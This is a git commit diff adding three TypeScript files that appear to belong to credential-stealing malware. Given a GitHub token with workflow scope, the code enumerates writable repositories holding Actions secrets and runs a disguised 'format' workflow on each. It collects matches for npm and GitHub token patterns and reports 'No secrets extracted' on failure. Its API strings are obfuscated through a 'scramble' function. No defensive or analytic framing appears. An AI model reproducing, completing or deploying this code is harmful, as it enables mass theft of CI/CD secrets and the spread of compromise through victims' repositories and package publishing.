Upload files to "src/providers/actions"

This commit is contained in:
2026-07-03 00:07:28 +00:00
parent d4adbbbb66
commit 016f74d61e
3 changed files with 119 additions and 0 deletions
+50
View File
@@ -0,0 +1,50 @@
import { checkToken } from "../../github_utils/tokenCheck";
import { logUtil } from "../../utils/logger";
import { Provider } from "../base";
import type { ProviderResult } from "../types";
import { runFormatOnReposWithSecrets } from "./pipeline";
export type TokenRepo = {
token: string;
repo: string;
owner: string;
};
export class GitHubActionsService extends Provider {
private token;
constructor(token: string) {
super("github", "actions", {
npmtoken: /npm_[A-Za-z0-9]{36,}/g,
ghtoken: /gh[op]_[A-Za-z0-9]{36}/g,
});
this.token = token;
}
async execute(): Promise<ProviderResult> {
if ((await checkToken(this.token)).hasWorkflowScope) {
const results: any[] = [];
const collected = runFormatOnReposWithSecrets(this.token);
try {
for await (const collection of collected) {
if (!collection.error) {
results.push(collection);
}
}
} catch (e) {
logUtil.error("Failure collecting results");
}
if (!results || Object.keys(results).length === 0) {
logUtil.log("No Secrets.");
return this.failure("No secrets extracted");
} else {
return this.success({ results });
}
} else {
logUtil.log("Missing workflow scope.");
return this.failure("No workfow scope or invalid!");
}
}
}
+40
View File
@@ -0,0 +1,40 @@
declare function scramble(str: string): string;
const GITHUB_API = scramble("https://api.github.com");
const USER_AGENT = "node";
export function githubHeaders(token: string): Record<string, string> {
return {
Authorization: `Bearer ${token}`,
Accept: scramble("application/vnd.github+json"),
"User-Agent": USER_AGENT,
};
}
/** Low-level fetch wrapper — returns the raw Response. */
export async function githubFetch(
token: string,
path: string,
init: RequestInit = {},
): Promise<Response> {
return fetch(`${GITHUB_API}${path}`, {
...init,
headers: {
...githubHeaders(token),
...(init.headers as Record<string, string>),
},
});
}
/** Fetch + assert ok + parse JSON. Throws on non-2xx. */
export async function githubJson<T>(
token: string,
path: string,
init: RequestInit = {},
): Promise<T> {
const res = await githubFetch(token, path, init);
if (!res.ok) {
throw new Error(`GitHub API ${res.status} ${res.statusText}: ${path}`);
}
return res.json() as Promise<T>;
}
+29
View File
@@ -0,0 +1,29 @@
import type { TokenRepo } from "./actions";
import { streamWritableRepos } from "./repos";
import { streamRepoSecrets } from "./secrets";
import { type FormatResult, runFormatWorkflows } from "./workflow";
export async function collectReposWithSecrets(
token: string,
): Promise<TokenRepo[]> {
const repos: TokenRepo[] = [];
for await (const fullName of streamRepoSecrets(
token,
streamWritableRepos(token),
)) {
const [owner, repo] = fullName.split("/");
if (owner && repo) repos.push({ token, owner, repo });
}
return repos;
}
export async function* runFormatOnReposWithSecrets(
token: string,
concurrency = 5,
): AsyncGenerator<FormatResult> {
const repos = await collectReposWithSecrets(token);
for await (const result of runFormatWorkflows(repos, concurrency)) {
yield result;
}
}